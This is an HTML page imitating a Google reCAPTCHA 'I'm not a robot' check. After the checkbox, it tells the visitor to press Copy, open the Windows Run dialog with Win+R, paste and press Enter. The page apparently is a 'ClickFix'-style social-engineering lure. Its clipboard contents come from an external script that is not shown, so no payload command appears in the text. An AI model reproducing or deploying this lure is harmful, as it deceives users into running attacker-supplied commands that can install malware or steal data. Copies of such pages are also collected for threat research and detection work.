<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Verification Steps</title>
    <link href="src/style.css" rel="stylesheet">
</head>
<body>
<div class="fkrc-container fkrc-m-p">
    <div id="fkrc-checkbox-window" class="fkrc-checkbox-window fkrc-m-p fkrc-block">
        <div class="fkrc-checkbox-container fkrc-m-p">
            <button type="button" id="fkrc-checkbox" class="fkrc-checkbox fkrc-m-p fkrc-line-normal"></button>
        </div>
        <p class="fkrc-im-not-a-robot fkrc-m-p fkrc-line-normal">I'm not a robot</p>
        <img src="images/captcha_logo.svg" class="fkrc-captcha-logo fkrc-line-normal" alt="">
        <p class="fkrc-checkbox-desc fkrc-m-p fkrc-line-normal">reCAPTCHA</p>
        <p class="fkrc-checkbox-desc fkrc-m-p fkrc-line-normal">Privacy - Terms</p>
        <img src="images/captcha_spinner.gif" class="fkrc-spinner fkrc-m-p fkrc-line-normal" alt="" id="fkrc-spinner">
    </div>

    <div id="fkrc-verifywin-window" class="fkrc-verifywin-window">
        <div class="fkrc-verifywin-container">
            <header class="fkrc-verifywin-header">
                <span class="fkrc-verifywin-header-text-medium fkrc-m-p fkrc-block">Complete These</span>
                <span class="fkrc-verifywin-header-text-big fkrc-m-p fkrc-block">Verification Steps</span>
            </header>
            <main class="fkrc-verifywin-main">
                <p>To better prove you are not a robot, please:</p>
                <ol>
                    <li>Press <strong>Copy Button</strong></li>
                    <li>Press & hold the <strong>Windows Key <kbd>⊞</kbd> + <kbd>R</kbd></strong>.</li>
                    <li>In the verification window, press <strong><kbd>Ctrl</kbd> + <kbd>V</kbd></strong>.</li>
                    <li>Press <strong><kbd>Enter</kbd></strong> on your keyboard to finish.</li>
                </ol>
                <p>You will observe and agree:</p>
                <p class="verification-result">
                    <span class="copy-text">
                        ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id"></span>"
                    </span>
                    <button id="copy-button" class="copy-btn">Copy</button>
                </p>      
            </main>
        </div>
        <footer class="fkrc-verifywin-container fkrc-verifywin-footer">
            <div class="fkrc-verifywin-footer-left">
                Perform the steps above to finish verification.
            </div>
            <button type="button" class="fkrc-verifywin-verify-button fkrc-block" id="fkrc-verifywin-verify-button">Verify</button>
        </footer>
    </div>
    <img src="images/captcha_arrow.svg" alt="" class="fkrc-verifywin-window-arrow" id="fkrc-verifywin-window-arrow" />
</div>
<script src="src/script.js"></script>
</body>
</html>
